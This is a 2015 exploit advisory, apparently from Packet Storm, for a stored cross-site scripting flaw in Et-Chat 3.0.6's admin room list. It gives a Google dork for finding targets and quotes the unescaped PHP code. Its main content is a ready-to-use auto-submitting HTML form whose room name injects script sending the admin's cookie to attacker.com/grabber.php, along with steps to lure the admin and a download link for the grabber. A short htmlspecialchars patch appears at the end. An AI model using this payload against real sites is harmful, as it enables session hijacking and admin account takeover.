Et-Chat 3.0.6 Cross Site Scripting

🗓️ 21 Mar 2015 00:00:00Reported by IRaNHaCK Security TeamType

packetstorm🔗 packetstormsecurity.com👁 16 Views

Et-Chat 3.0.6 Cross Site Scripting Vulnerability allows admin cookie grabber exploit

`# Exploit Title: Et-Chat 3.0.6 Cross Site Scripting Vulnerability  
  
# Google Dork: "ET-Chat v3.0.6"  
  
# Date: 2015-03-20  
  
# Exploit Author: IranHack Security Team  
  
# Tested on: Windows 7  
  
# Vendor : Www.Et-chat.Ir  
  
# Our Website : Www.IranHack.Org  
  
***************************************************  
  
Vulnerable code :  
  
Location : /etchat/class/admin/AdminRoomsIndex.class.php  
  
  
Code :  
  
  
if (is_array($feld)){  
$print_room_list = "<table>";  
foreach($feld as $datasets){  
if ($datasets[0]!=1)   
$print_room_list.= "<tr><td><b>".$datasets[1]."</b></td><td>&nbsp;&nbsp;&nbsp;</td><td><a href=\"./?AdminDeleteRoom&id=".$datasets[0]."&cs4rue=".$_SESSION['etchat_'.$this->_prefix.'CheckSum4RegUserEdit']."\">".$lang->delete[0]->tagData."</a></td><td><a href=\"./?AdminEditRoom&id=".$datasets[0]."\">".$lang->rename[0]->tagData."</a></td><td>&nbsp;&nbsp;&nbsp;<i>".$lang->room_priv[$datasets[2]]->tagData."</i></td></tr>";  
else   
$print_room_list.= "<tr><td><b>".$datasets[1]."</b></td><td>&nbsp;&nbsp;&nbsp;</td><td style=\"color: #888888;\"><strike>".$lang->delete[0]->tagData."</strike></td><td><a href=\"./?AdminEditRoom&id=".$datasets[0]."\">".$lang->rename[0]->tagData."</a></td><td>&nbsp;&nbsp;&nbsp;<i>".$lang->room_priv[$datasets[2]]->tagData."</i></td></tr>";  
}  
$print_room_list.= "</table>";  
}  
  
  
***************************************************  
  
Description :   
  
This vulnerability allows attacker to grab admin cookie and login with admin account :)  
  
The reason of this vulnerability is that values of the room list ( ".$datasets[1]." ) is not filtered and  
  
allows attacker to run javascript code.  
  
***************************************************  
  
  
Exploit :  
  
1- Upload this page in a host or Set this code in a html page :  
  
<html>  
<body>  
<form name="exploit" action="http://target.com/etchat/?AdminCreateNewRoom"  
method="POST">  
  
<input type="hidden" name="room"  
  
value="<script>location.href="http://attacker.com/grabber.php?cookie="+escape(document.cookie)</script>  
  
" />  
<script>document.exploit.submit(); </script>  
</form>  
</body>  
</html>  
  
  
2- Give the uploaded html page address to admin.   
  
3- after opening this page by admin , cookies are logged in Log.txt :)  
  
***************************************************  
  
grabber.php : http://up.iranhack.org/uploads/lquswjwo06vrxz1fe4oo.zip  
  
***************************************************  
  
Patch :  
  
If u wanna patch this bug , go to file " /etchat/class/admin/AdminRoomsIndex.class.php "  
  
Replace this codes : ".$datasets[1]."  
  
With this code : ".htmlspecialchars($datasets[1])."  
  
***************************************************  
  
Greetz :  
  
Mr.XpR , V30Sharp , AL1R3Z4 , Secret.Walker , Irblackhat , FarbodEZRaeL , black-sec , Mr.X2 , @3is , IR4N0nY , , 0x8F , Amirio , 3cure , FTA_Boy , Mr.FixXxer  
  
./Moji.Rider  
`

21 Mar 2015 00:00Current

7.4High risk

Vulners AI Score7.4